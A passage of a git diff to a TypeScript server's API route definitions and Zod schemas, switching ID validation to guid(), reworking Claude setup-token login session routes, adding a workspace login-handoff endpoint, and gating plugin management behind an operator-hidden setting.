+const environmentCustomImageTemplateRelinkResultSchema = z.object({
+  template: environmentCustomImageTemplateSchema,
+  classification: z.enum(["knob_only", "boot_source_drift", "unclassified"]),
+}).strict();
+
 const workTimelineQuerySchema = z.object({
   from: z.string().optional(),
   to: z.string().optional(),
   userId: z.string().optional(),
-  goalId: z.string().uuid().optional(),
-  projectId: z.string().uuid().optional(),
-  issueId: z.string().uuid().optional(),
+  goalId: z.string().guid().optional(),
+  projectId: z.string().guid().optional(),
+  issueId: z.string().guid().optional(),
   limit: z.string().optional(),
   offset: z.string().optional(),
 }).strict();
@@ -684,7 +744,7 @@ const workTimelineResponseSchema = z.object({
 function paramsSchemaFromPath(routePath: string): z.ZodObject<z.ZodRawShape> | undefined {
   const names = [...routePath.matchAll(/\{([A-Za-z0-9_]+)\}/g)].map((match) => match[1]);
   if (names.length === 0) return undefined;
-  const shape: z.ZodRawShape = {};
+  const shape: Record<string, z.ZodTypeAny> = {};
   for (const name of names) {
     shape[name] = z.string();
   }
@@ -793,6 +853,7 @@ const BOARD_ONLY_OPERATIONS = new Set([
   "PATCH /api/companies/{companyId}/members/{memberId}/permissions",
   "GET /api/companies/{companyId}/user-directory",
   "POST /api/execution-workspaces/{id}/reconcile-branch",
+  "POST /api/execution-workspaces/{id}/login-handoff",
   "GET /api/board-api-keys",
   "POST /api/board-api-keys",
   "DELETE /api/board-api-keys/{keyId}",
@@ -1687,6 +1748,7 @@ registry.registerPath({
 
 const AgentSecretListResponseSchema = z.object({
   secrets: z.array(z.object({
+    secretRef: z.string().guid(),
     key: z.string(),
     name: z.string(),
     description: z.string().nullable(),
@@ -1708,20 +1770,32 @@ const createAgentSecretProposalSchema = z.discriminatedUnion("kind", [
   }),
   z.object({
     kind: z.literal("binding"),
-    secretId: z.string().uuid().optional(),
-    secretProposalId: z.string().uuid().optional(),
-    targetAgentId: z.string().uuid().optional(),
+    secretId: z.string().guid().optional(),
+    sourceConfigPath: z.string().min(1).optional(),
+    secretProposalId: z.string().guid().optional(),
+    targetAgentId: z.string().guid().optional(),
     configPath: z.string().min(1),
     justification: z.string().min(1),
   }),
-]);
+]).superRefine((value, ctx) => {
+  if (
+    value.kind === "binding"
+    && [value.secretId, value.sourceConfigPath, value.secretProposalId]
+      .filter((reference) => Boolean(reference)).length !== 1
+  ) {
+    ctx.addIssue({
+      code: z.ZodIssueCode.custom,
+      message: "Provide exactly one of secretId, sourceConfigPath, or secretProposalId",
+    });
+  }
+});
 
 const approveSecretProposalSchema = z.object({
   cascade: z.boolean().optional(),
   overrides: z.object({
     name: z.string().min(1).optional(),
     description: z.string().optional().nullable(),
-    providerConfigId: z.string().uuid().optional().nullable(),
+    providerConfigId: z.string().guid().optional().nullable(),
   }).optional(),
 });
 
@@ -1749,7 +1823,7 @@ registry.registerPath({
   path: "/api/agents/me/secret-proposals/{id}",
   tags: ["secrets"],
   summary: "Withdraw a pending secret proposal",
-  request: { params: z.object({ id: z.string().uuid() }) },
+  request: { params: z.object({ id: z.string().guid() }) },
   responses: { 200: r.ok(), 401: r.unauthorized, 403: r.forbidden, 404: r.notFound, 409: r.conflict },
 });
 
@@ -2175,7 +2249,7 @@ registry.registerPath({
     params: z.object({ companyId: z.string() }),
     body: jsonBody(createIssueSchema),
   },
-  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
+  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 422: r.unprocessable },
 });
 
 registry.registerPath({
@@ -2196,7 +2270,7 @@ registry.registerPath({
     params: z.object({ id: z.string() }),
     body: jsonBody(updateIssueSchema.partial()),
   },
-  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 404: r.notFound },
+  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 404: r.notFound, 422: r.unprocessable },
 });
 
 registry.registerPath({
@@ -2287,6 +2361,25 @@ registry.registerPath({
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
 });
 
+registry.registerPath({
+  method: "post",
+  path: "/api/issues/{id}/work-products/{workProductId}/review-document",
+  tags: ["issues"],
+  summary: "Ensure the review document for a Markdown work product",
+  request: { params: z.object({ id: z.string(), workProductId: z.string() }) },
+  responses: {
+    200: r.ok(),
+    201: r.ok(),
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+    409: r.conflict,
+    413: r.payloadTooLarge,
+    415: r.unsupportedMediaType,
+    422: r.unprocessable,
+  },
+});
+
 registry.registerPath({
   method: "patch",
   path: "/api/work-products/{id}",
@@ -2811,7 +2904,7 @@ registry.registerPath({
     params: z.object({ id: z.string() }),
     body: jsonBody(runRoutineSchema),
   },
-  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
+  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 422: r.unprocessable },
 });
 
 registry.registerPath({
@@ -2968,7 +3061,7 @@ registry.registerPath({
   tags: ["secrets"],
   summary: "List company secret proposals for board review",
   request: {
-    params: z.object({ companyId: z.string().uuid() }),
+    params: z.object({ companyId: z.string().guid() }),
     query: z.object({ status: z.enum(["pending", "approved", "rejected", "withdrawn", "expired"]).optional() }),
   },
   responses: { 200: r.ok(), 401: r.unauthorized, 403: r.forbidden },
@@ -2980,7 +3073,7 @@ registry.registerPath({
   tags: ["secrets"],
   summary: "Approve and execute a secret proposal as the approving board user",
   request: {
-    params: z.object({ companyId: z.string().uuid(), id: z.string().uuid() }),
+    params: z.object({ companyId: z.string().guid(), id: z.string().guid() }),
     body: jsonBody(approveSecretProposalSchema),
   },
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden, 404: r.notFound, 409: r.conflict, 422: r.unprocessable },
@@ -2992,7 +3085,7 @@ registry.registerPath({
   tags: ["secrets"],
   summary: "Reject a pending secret proposal and dependent bindings",
   request: {
-    params: z.object({ companyId: z.string().uuid(), id: z.string().uuid() }),
+    params: z.object({ companyId: z.string().guid(), id: z.string().guid() }),
     body: jsonBody(rejectSecretProposalSchema),
   },
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden, 404: r.notFound, 409: r.conflict, 422: r.unprocessable },
@@ -3365,9 +3458,9 @@ registry.registerPath({
   request: {
     params: z.object({ companyId: z.string() }),
     query: z.object({
-      agentId: z.string().uuid().optional(),
+      agentId: z.string().guid().optional(),
       responsibleUserId: z.string().min(1).optional(),
-      runId: z.string().uuid().optional(),
+      runId: z.string().guid().optional(),
       entityType: z.string().min(1).optional(),
       entityId: z.string().min(1).optional(),
       action: z.string().min(1).optional(),
@@ -3389,9 +3482,9 @@ registry.registerPath({
   request: {
     params: z.object({ companyId: z.string() }),
     query: z.object({
-      agentId: z.string().uuid().optional(),
+      agentId: z.string().guid().optional(),
       responsibleUserId: z.string().min(1).optional(),
-      runId: z.string().uuid().optional(),
+      runId: z.string().guid().optional(),
       entityType: z.string().min(1).optional(),
       entityId: z.string().min(1).optional(),
       action: z.string().min(1).optional(),
@@ -3426,8 +3519,8 @@ registry.registerPath({
       action: z.string().min(1),
       entityType: z.string().min(1),
       entityId: z.string().min(1),
-      agentId: z.string().uuid().optional().nullable(),
-      details: z.record(z.unknown()).optional().nullable(),
+      agentId: z.string().guid().optional().nullable(),
+      details: z.record(z.string(), z.unknown()).optional().nullable(),
     })),
   },
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
@@ -3792,9 +3885,9 @@ registerCurrentRoute({
   summary: "List decisions",
   query: z.object({
     status: z.enum(["open", "decided", "expired", "cancelled"]).optional(),
-    bundleId: z.string().uuid().optional(),
-    targetIssueId: z.string().uuid().optional(),
-    originAgentId: z.string().uuid().optional(),
+    bundleId: z.string().guid().optional(),
+    targetIssueId: z.string().guid().optional(),
+    originAgentId: z.string().guid().optional(),
     limit: z.coerce.number().int().positive().max(100).optional(),
   }),
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden },
@@ -3807,7 +3900,7 @@ registerCurrentRoute({
   summary: "Get decision telemetry grouped by rule key",
   query: z.object({
     groupBy: z.literal("ruleKey"),
-    originAgentId: z.string().uuid().optional(),
+    originAgentId: z.string().guid().optional(),
     since: z.string().datetime().optional(),
   }),
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden },
@@ -3862,8 +3955,8 @@ registerCurrentRoute({
   summary: "Capture a decision training example",
   body: z.object({
     sourceKind: decisionTrainingSourceKindSchema,
-    sourceId: z.string().uuid(),
-    issueId: z.string().uuid(),
+    sourceId: z.string().guid(),
+    issueId: z.string().guid(),
     notes: z.string().max(100_000).default(""),
   }).strict(),
   responses: { 201: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden, 404: r.notFound, 409: r.conflict },
@@ -3876,8 +3969,8 @@ registerCurrentRoute({
   summary: "Preview a decision training snapshot",
   body: z.object({
     sourceKind: decisionTrainingSourceKindSchema,
-    sourceId: z.string().uuid(),
-    issueId: z.string().uuid(),
+    sourceId: z.string().guid(),
+    issueId: z.string().guid(),
   }).strict(),
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 403: r.forbidden, 404: r.notFound, 409: r.conflict },
 });
@@ -3888,7 +3981,7 @@ registerCurrentRoute({
   tags: ["decision-training"],
   summary: "List decision training examples",
   query: z.object({
-    project: z.string().uuid().optional(),
+    project: z.string().guid().optional(),
     kind: decisionTrainingSourceKindSchema.optional(),
     author: z.string().optional(),
     q: z.string().max(500).optional(),
@@ -4498,18 +4591,44 @@ registry.registerPath({
   responses: { 200: r.ok(), 401: r.unauthorized },
 });
 
-// Setup-token login session routes. The owner user starts one session, reads the
-// login prompt, submits the browser code, and receives the token. The prompt,
-// code, and token responses require a confidential transport; the guard returns
-// 403 when the transport is not confidential.
+// Company-and-environment Claude setup-token login session routes. The owner
+// user starts one session for one adapter in one environment. The scope carries
+// no agent id, so a hire flow with no agent still starts one session. The owner
+// reads the login prompt, submits the browser code from the browser, and reads
+// the completion claim. The prompt, code, and completion responses require a
+// confidential transport; the guard returns 403 when the transport is not
+// confidential. No response carries a token; the completion returns the
+// non-secret `storedSessionId` claim.
+//
+// The stored-token status read returns only the secret id and the latest version
+// of the owner value; it returns no token. The server derives the owner from the
+// authenticated actor. A missing or a foreign value returns the same fixed 404,
+// so the read discloses no existence distinction. The response is `no-store`.
+registry.registerPath({
+  method: "get",
+  path: "/api/companies/{companyId}/claude-oauth-token-status",
+  tags: ["companies"],
+  summary: "Read the stored Claude OAuth token status for the authenticated owner",
+  request: { params: z.object({ companyId: z.string() }) },
+  responses: {
+    200: r.ok(claudeOAuthTokenStatusResponseSchema),
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+  },
+});
+
 registry.registerPath({
   method: "post",
-  path: "/api/agents/{id}/setup-token-login-sessions",
-  tags: ["agents"],
-  summary: "Start a setup-token login session for an agent",
-  request: { params: z.object({ id: z.string() }) },
+  path: "/api/companies/{companyId}/setup-token-login-sessions",
+  tags: ["companies"],
+  summary: "Start a company-and-environment Claude setup-token login session",
+  request: {
+    params: z.object({ companyId: z.string() }),
+    body: jsonBody(startClaudeSetupTokenSessionRequestSchema),
+  },
   responses: {
-    201: r.ok(),
+    201: r.ok(claudeSetupTokenSessionOwnerResponseSchema),
     400: r.badRequest,
     401: r.unauthorized,
     403: r.forbidden,
@@ -4520,12 +4639,26 @@ registry.registerPath({
 
 registry.registerPath({
   method: "get",
-  path: "/api/agents/{id}/setup-token-login-sessions/{sessionId}/prompt",
-  tags: ["agents"],
-  summary: "Read the login prompt for a setup-token login session",
-  request: { params: z.object({ id: z.string(), sessionId: z.string() }) },
+  path: "/api/companies/{companyId}/setup-token-login-sessions/{sessionId}",
+  tags: ["companies"],
+  summary: "Read the status of a Claude setup-token login session",
+  request: { params: z.object({ companyId: z.string(), sessionId: z.string() }) },
   responses: {
-    200: r.ok(),
+    200: r.ok(claudeSetupTokenSessionResponseSchema),
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+  },
+});
+
+registry.registerPath({
+  method: "get",
+  path: "/api/companies/{companyId}/setup-token-login-sessions/{sessionId}/prompt",
+  tags: ["companies"],
+  summary: "Read the login prompt for a Claude setup-token login session",
+  request: { params: z.object({ companyId: z.string(), sessionId: z.string() }) },
+  responses: {
+    200: r.ok(claudeSetupTokenSessionPromptSchema),
     400: r.badRequest,
     401: r.unauthorized,
     403: r.forbidden,
@@ -4535,12 +4668,15 @@ registry.registerPath({
 
 registry.registerPath({
   method: "post",
-  path: "/api/agents/{id}/setup-token-login-sessions/{sessionId}/code",
-  tags: ["agents"],
-  summary: "Submit the browser code for a setup-token login session",
-  request: { params: z.object({ id: z.string(), sessionId: z.string() }) },
+  path: "/api/companies/{companyId}/setup-token-login-sessions/{sessionId}/code",
+  tags: ["companies"],
+  summary: "Submit the browser code for a Claude setup-token login session",
+  request: {
+    params: z.object({ companyId: z.string(), sessionId: z.string() }),
+    body: jsonBody(submitBrowserCodeRequestSchema),
+  },
   responses: {
-    200: r.ok(),
+    200: r.ok(claudeSetupTokenSessionResponseSchema),
     400: r.badRequest,
     401: r.unauthorized,
     403: r.forbidden,
@@ -4550,40 +4686,12 @@ registry.registerPath({
 
 registry.registerPath({
   method: "post",
-  path: "/api/agents/{id}/setup-token-login-sessions/{sessionId}/cancel",
-  tags: ["agents"],
-  summary: "Cancel a setup-token login session",
-  request: { params: z.object({ id: z.string(), sessionId: z.string() }) },
+  path: "/api/companies/{companyId}/setup-token-login-sessions/{sessionId}/completion",
+  tags: ["companies"],
+  summary: "Read the completion claim of a Claude setup-token login session",
+  request: { params: z.object({ companyId: z.string(), sessionId: z.string() }) },
   responses: {
-    200: r.ok(),
-    401: r.unauthorized,
-    403: r.forbidden,
-    404: r.notFound,
-  },
-});
-
-registry.registerPath({
-  method: "post",
-  path: "/api/agents/{id}/setup-token-login-sessions/{sessionId}/expire",
-  tags: ["agents"],
-  summary: "Expire a setup-token login session",
-  request: { params: z.object({ id: z.string(), sessionId: z.string() }) },
-  responses: {
-    200: r.ok(),
-    401: r.unauthorized,
-    403: r.forbidden,
-    404: r.notFound,
-  },
-});
-
-registry.registerPath({
-  method: "post",
-  path: "/api/agents/{id}/setup-token-login-sessions/{sessionId}/token",
-  tags: ["agents"],
-  summary: "Receive the token from a completed setup-token login session",
-  request: { params: z.object({ id: z.string(), sessionId: z.string() }) },
-  responses: {
-    200: r.ok(),
+    200: r.ok(claudeSetupTokenCompletionResponseSchema),
     400: r.badRequest,
     401: r.unauthorized,
     403: r.forbidden,
@@ -4591,6 +4699,25 @@ registry.registerPath({
   },
 });
 
+registry.registerPath({
+  method: "post",
+  path: "/api/companies/{companyId}/setup-token-login-sessions/{sessionId}/cancel",
+  tags: ["companies"],
+  summary: "Cancel a Claude setup-token login session",
+  // The 404 is reserved for the pre-scope non-member gate. The company-access
+  // gate runs before the cancel logic and returns a fixed 404 for a non-member.
+  // Cancel itself is idempotent and stays uniform: a same-company owner-scoped
+  // missing, terminal, or foreign session id all return 200. So the route never
+  // confirms a session exists for the owner.
+  request: { params: z.object({ companyId: z.string(), sessionId: z.string() }) },
+  responses: {
+    200: r.ok(),
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+  },
+});
+
 // ─── Issue interactions & tree ───────────────────────────────────────────────
 
 registry.registerPath({
@@ -4607,6 +4734,8 @@ registry.registerPath({
   path: "/api/issues/{id}/interactions",
   tags: ["issues"],
   summary: "Create an issue thread interaction",
+  description:
+    "Resolver policy defaults to canonical `anyone` for every interaction kind. `not_creator` and `human_only` are opt-in restrictions; deprecated `board_or_agents` and `board_only` inputs are accepted as compatibility aliases.",
   request: {
     params: z.object({ id: z.string() }),
     body: jsonBody(createIssueThreadInteractionSchema),
@@ -4680,7 +4809,7 @@ registry.registerPath({
   tags: ["issues"],
   summary: "Create child issues",
   request: { params: z.object({ id: z.string() }), body: jsonBody(createChildIssueSchema) },
-  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
+  responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized, 422: r.unprocessable },
 });
 
 registry.registerPath({
@@ -5263,6 +5392,36 @@ registry.registerPath({
   responses: { 200: r.ok(), 401: r.unauthorized, 403: r.forbidden, 422: r.unprocessable },
 });
 
+registry.registerPath({
+  method: "post",
+  path: "/api/execution-workspaces/{id}/login-handoff",
+  tags: ["execution-workspaces"],
+  summary: "Issue a single-use workspace login handoff",
+  description:
+    "Mints a short-lived, single-use ticket the isolated workspace exchanges for its own "
+    + "instance-scoped session, so opening a managed workspace does not depend on a cloned "
+    + "password. Board actors only. The response `url` must be navigated to, not stored: the "
+    + "workspace answers it with a redirect so the ticket never enters browser history. A refusal "
+    + "carries a machine `reason` and, where the control plane probed it, the workspace's own "
+    + "readiness.",
+  request: {
+    params: z.object({ id: z.string() }),
+    body: jsonBody(
+      z.object({
+        next: z.string().optional().describe("Same-origin path to land on; anything else collapses to `/`."),
+      }),
+    ),
+  },
+  responses: {
+    201: r.ok(),
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+    409: r.conflict,
+    501: r.serverError,
+  },
+});
+
 registry.registerPath({
   method: "post",
   path: "/api/execution-workspaces/{id}/runtime-services/{action}",
@@ -5525,6 +5684,26 @@ registry.registerPath({
   },
 });
 
+registry.registerPath({
+  method: "post",
+  path: "/api/environments/{environmentId}/custom-image-template/relink",
+  tags: ["environments"],
+  summary: "Relink a detached environment customImage template to the current config",
+  request: {
+    params: z.object({ environmentId: z.string() }),
+    query: environmentCustomImageCompanyQuerySchema,
+    body: jsonBody(relinkEnvironmentCustomImageTemplateSchema),
+  },
+  responses: {
+    200: r.ok(environmentCustomImageTemplateRelinkResultSchema),
+    400: r.badRequest,
+    401: r.unauthorized,
+    403: r.forbidden,
+    404: r.notFound,
+    409: r.conflict,
+  },
+});
+
 registry.registerPath({
   method: "delete",
   path: "/api/environments/{environmentId}/custom-image-template",
@@ -5669,7 +5848,7 @@ registry.registerPath({
   request: {
     body: jsonBody(z.object({
       tool: z.string(),
-      parameters: z.record(z.unknown()).optional(),
+      parameters: z.record(z.string(), z.unknown()).optional(),
       runContext: z.object({
         agentId: z.string(),
         runId: z.string(),
@@ -5778,7 +5957,7 @@ registry.registerPath({
   summary: "Set company-scoped plugin config",
   request: {
     params: z.object({ pluginId: z.string() }),
-    body: jsonBody(z.object({ companyId: z.string(), configJson: z.record(z.unknown()) })),
+    body: jsonBody(z.object({ companyId: z.string(), configJson: z.record(z.string(), z.unknown()) })),
   },
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
 });
@@ -5790,7 +5969,7 @@ registry.registerPath({
   summary: "Test company-scoped plugin config",
   request: {
     params: z.object({ pluginId: z.string() }),
-    body: jsonBody(z.object({ companyId: z.string(), configJson: z.record(z.unknown()) })),
+    body: jsonBody(z.object({ companyId: z.string(), configJson: z.record(z.string(), z.unknown()) })),
   },
   responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized },
 });
@@ -5852,7 +6031,7 @@ registry.registerPath({
     body: jsonBody(z.object({
       key: z.string(),
       companyId: z.string().optional(),
-      params: z.record(z.unknown()).optional(),
+      params: z.record(z.string(), z.unknown()).optional(),
     })),
   },
   responses: { 200: r.ok(), 401: r.unauthorized },
@@ -5868,7 +6047,7 @@ registry.registerPath({
     body: jsonBody(z.object({
       key: z.string(),
       companyId: z.string().optional(),
-      params: z.record(z.unknown()).optional(),
+      params: z.record(z.string(), z.unknown()).optional(),
     })),
   },
   responses: { 200: r.ok(), 401: r.unauthorized },
@@ -5883,7 +6062,7 @@ registry.registerPath({
     params: z.object({ pluginId: z.string(), key: z.string() }),
     body: jsonBody(z.object({
       companyId: z.string().optional(),
-      params: z.record(z.unknown()).optional(),
+      params: z.record(z.string(), z.unknown()).optional(),
     })),
   },
   responses: { 200: r.ok(), 401: r.unauthorized },
@@ -5898,7 +6077,7 @@ registry.registerPath({
     params: z.object({ pluginId: z.string(), key: z.string() }),
     body: jsonBody(z.object({
       companyId: z.string().optional(),
-      params: z.record(z.unknown()).optional(),
+      params: z.record(z.string(), z.unknown()).optional(),
     })),
   },
   responses: { 200: r.ok(), 401: r.unauthorized },
@@ -6666,7 +6845,7 @@ for (const route of [
     path: route[1],
     tags: ["skills"],
     summary: route[2],
-    ...(route[0] === "post" ? { body: z.record(z.unknown()).optional() } : {}),
+    ...(route[0] === "post" ? { body: z.record(z.string(), z.unknown()).optional() } : {}),
   });
 }
 
@@ -6740,7 +6919,7 @@ registerCurrentRoute({
   summary: "Promote quarantined low-trust output",
   body: z.object({
     sourceArtifactKind: z.enum(["comment", "document", "work_product", "issue"]),
-    sourceArtifactId: z.string().uuid(),
+    sourceArtifactId: z.string().guid(),
     title: z.string().trim().min(1).max(200),
     summary: z.string().trim().min(1).max(8_000),
   }),
@@ -7456,7 +7635,7 @@ const toolGatewaySessionSchema = z.object({
 
 const toolGatewayCallSchema = z.object({
   tool: z.string(),
-  parameters: z.record(z.unknown()).optional(),
+  parameters: z.record(z.string(), z.unknown()).optional(),
   timeoutMs: z.number().int().positive().optional(),
   approvedActionRequestId: z.string().optional(),
   idempotencyKey: z.string().optional(),
@@ -7469,7 +7648,7 @@ const toolGatewayCompanyBodySchema = z.object({
   companyId: z.string(),
 }).passthrough();
 
-const mcpGatewayProtocolSchema = z.record(z.unknown());
+const mcpGatewayProtocolSchema = z.record(z.string(), z.unknown());
 
 registerCurrentRoute({
   method: "get",
diff --git a/server/src/routes/pipelines.ts b/server/src/routes/pipelines.ts
index 587a6f7047e..e9e60940862 100644
--- a/server/src/routes/pipelines.ts
+++ b/server/src/routes/pipelines.ts
@@ -94,9 +94,9 @@ const casePatchSchema = z.object({
   summary: z.string().max(8_000).nullable().optional(),
   fields: jsonObjectSchema.optional(),
   workspaceRef: jsonObjectSchema.nullable().optional(),
-  parentCaseId: z.string().uuid().nullable().optional(),
+  parentCaseId: z.string().guid().nullable().optional(),
   expectedVersion: z.number().int().positive().optional(),
-  leaseToken: z.string().uuid().nullable().optional(),
+  leaseToken: z.string().guid().nullable().optional(),
 });
 const ingestCaseSchema = z.object({
   caseKey: z.string().max(1_024).nullable().optional(),
@@ -104,17 +104,17 @@ const ingestCaseSchema = z.object({
   summary: z.string().max(8_000).nullable().optional(),
   fields: jsonObjectSchema.optional(),
   stageKey: z.string().trim().min(1).max(120).optional(),
-  parentCaseId: z.string().uuid().nullable().optional(),
+  parentCaseId: z.string().guid().nullable().optional(),
   requestKey: z.string().trim().min(1).max(512).optional(),
   workspaceRef: jsonObjectSchema.nullable().optional(),
-  blockedByCaseIds: z.array(z.string().uuid()).max(100).optional(),
+  blockedByCaseIds: z.array(z.string().guid()).max(100).optional(),
   blockedByCaseKeys: z.array(z.string().max(1_024)).max(100).optional(),
 });
 const createPipelineSchema = z.object({
   key: z.string().trim().min(1).max(120),
   name: z.string().trim().min(1).max(200),
   description: z.string().max(8_000).nullable().optional(),
-  projectId: z.string().uuid().nullable().optional(),
+  projectId: z.string().guid().nullable().optional(),
   enforceTransitions: z.boolean().optional(),
   stages: z.array(z.object({
     key: z.string().trim().min(1).max(120),
@@ -146,7 +146,7 @@ const updateStageSchema = z.object({
 });
 const updateStageAutomationEnvSchema = z.object({
   env: envConfigSchema.nullable(),
-  baseRoutineRevisionId: z.string().uuid().nullable().optional(),
+  baseRoutineRevisionId: z.string().guid().nullable().optional(),
 });
 const replaceTransitionsSchema = z.object({
   transitions: z.array(z.object({
@@ -167,16 +167,16 @@ const breakdownCaseSchema = z.object({
 });
 const claimCaseSchema = z.object({ leaseSeconds: z.number().int().positive().max(86_400).optional() });
 const releaseCaseSchema = z.object({
-  leaseToken: z.string().uuid().nullable().optional(),
+  leaseToken: z.string().guid().nullable().optional(),
   force: z.boolean().optional(),
 });
 const transitionCaseSchema = z.object({
   toStageKey: z.string().trim().min(1).max(120),
   expectedVersion: z.number().int().positive(),
-  leaseToken: z.string().uuid().nullable().optional(),
+  leaseToken: z.string().guid().nullable().optional(),
   reason: z.string().max(4_000).nullable().optional(),
   force: z.boolean().optional(),
-  acceptSuggestionId: z.string().uuid().optional(),
+  acceptSuggestionId: z.string().guid().optional(),
 });
 const suggestTransitionSchema = z.object({
   toStageKey: z.string().trim().min(1).max(120),
@@ -184,52 +184,52 @@ const suggestTransitionSchema = z.object({
   confidence: z.number().min(0).max(1).optional(),
 });
 const resolveSuggestionSchema = z.object({
-  suggestionId: z.string().uuid(),
+  suggestionId: z.string().guid(),
   resolution: z.enum(["accept", "dismiss"]),
   expectedVersion: z.number().int().positive().optional(),
   reason: z.string().max(4_000).nullable().optional(),
-  leaseToken: z.string().uuid().nullable().optional(),
+  leaseToken: z.string().guid().nullable().optional(),
 });
 const acknowledgeDriftSchema = z.object({
   expectedVersion: z.number().int().positive().optional(),
 });
 const retryAutomationQuerySchema = z.object({
   scope: pipelineAutomationRetryScopeSchema.default("previous_stage"),
-  targetStageId: z.string().uuid().optional(),
+  targetStageId: z.string().guid().optional(),
 });
 const reviewEditsSchema = z.object({
   title: z.string().trim().min(1).max(500).optional(),
   summary: z.string().max(8_000).nullable().optional(),
   fields: jsonObjectSchema.optional(),
-  parentCaseId: z.string().uuid().nullable().optional(),
+  parentCaseId: z.string().guid().nullable().optional(),
 });
 const reviewCaseSchema = z.object({
   decision: z.enum(["approve", "reject", "request_changes"]),
   reason: z.string().max(4_000).nullable().optional(),
   edits: reviewEditsSchema.optional(),
   expectedVersion: z.number().int().positive(),
-  leaseToken: z.string().uuid().nullable().optional(),
+  leaseToken: z.string().guid().nullable().optional(),
 });
-const blockersSchema = z.object({ blockedByCaseIds: z.array(z.string().uuid()).max(100) });
+const blockersSchema = z.object({ blockedByCaseIds: z.array(z.string().guid()).max(100) });
 const issueLinkRoleSchema = z.enum(["origin", "conversation", "work", "automation"]);
 const createIssueLinkSchema = z.object({
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
   role: issueLinkRoleSchema,
 });
 const bulkReviewSchema = z.object({
-  items: z.array(reviewCaseSchema.extend({ caseId: z.string().uuid() })).max(100),
+  items: z.array(reviewCaseSchema.extend({ caseId: z.string().guid() })).max(100),
 });
 const upsertPipelineDocumentSchema = z.object({
   title: z.string().trim().min(1).max(200).optional(),
   body: z.string().max(200_000),
-  baseRevisionId: z.string().uuid().nullable().optional(),
+  baseRevisionId: z.string().guid().nullable().optional(),
 });
 const upsertPipelineCaseDocumentSchema = z.object({
   title: z.string().trim().min(1).max(200).optional(),
   format: z.string().trim().min(1).max(80).optional().default("markdown"),
   body: z.string().max(200_000),
   changeSummary: z.string().trim().max(1_000).nullable().optional(),
-  baseRevisionId: z.string().uuid().nullable().optional(),
+  baseRevisionId: z.string().guid().nullable().optional(),
 });
 const intakeFieldTypes = new Set(["select", "text", "multiline"]);
 
diff --git a/server/src/routes/plugins.ts b/server/src/routes/plugins.ts
index 17f1823725a..971283dd0e2 100644
--- a/server/src/routes/plugins.ts
+++ b/server/src/routes/plugins.ts
@@ -89,9 +89,24 @@ import {
   isWithinBundledPluginRoot,
 } from "../services/plugin-install-guard.js";
 import { isCloudManagedInstance } from "../services/cloud-instance.js";
+import { getHiddenSettings } from "../services/settings-visibility.js";
 import { secretService } from "../services/secrets.js";
 import { badRequest, forbidden, notFound, unauthorized, unprocessable } from "../errors.js";
 
+/**
+ * Floor: when the hosting operator hides the Plugins settings surface
+ * (`instance.plugins` in PAPERCLIP_HIDDEN_SETTINGS), plugin lifecycle and
+ * configuration writes are rejected alongside it. Reads stay open — installed
+ * plugins keep running and `/plugins/ui-contributions` still powers their UI.
+ */
+function assertPluginManagementVisible() {
+  if (getHiddenSettings().has("instance.plugins")) {
+    throw forbidden("Plugin management is managed by the hosting operator on this instance", {
+      code: "settings_operator_managed",
+    });
+  }
+}
+
 /** UI slot declaration extracted from plugin manifest */
 type PluginUiSlotDeclaration = NonNullable<NonNullable<PaperclipPluginManifestV1["ui"]>["slots"]>[number];
 /** Launcher declaration extracted from plugin manifest */
@@ -1125,6 +1140,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/install", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { packageName, version, isLocalPath } = req.body as PluginInstallRequest;
 
     // Input validation
@@ -1968,6 +1984,7 @@ export function pluginRoutes(
    */
   router.delete("/plugins/:pluginId", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { pluginId } = req.params;
     const purge = req.query.purge === "true";
 
@@ -2004,6 +2021,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/:pluginId/enable", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { pluginId } = req.params;
 
     const plugin = await resolvePlugin(registry, pluginId);
@@ -2042,6 +2060,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/:pluginId/disable", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { pluginId } = req.params;
     const body = req.body as { reason?: string } | undefined;
     const reason = body?.reason;
@@ -2204,6 +2223,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/:pluginId/upgrade", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { pluginId } = req.params;
     const body = req.body as { version?: string } | undefined;
     const version = body?.version;
@@ -2285,6 +2305,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/:pluginId/config", async (req, res) => {
     assertInstanceAdmin(req);
+    assertPluginManagementVisible();
     const { pluginId } = req.params;
 
     const plugin = await resolvePlugin(registry, pluginId);
@@ -2417,6 +2438,7 @@ export function pluginRoutes(
    */
   router.post("/plugins/:pluginId/config/test", async (req, res) => {
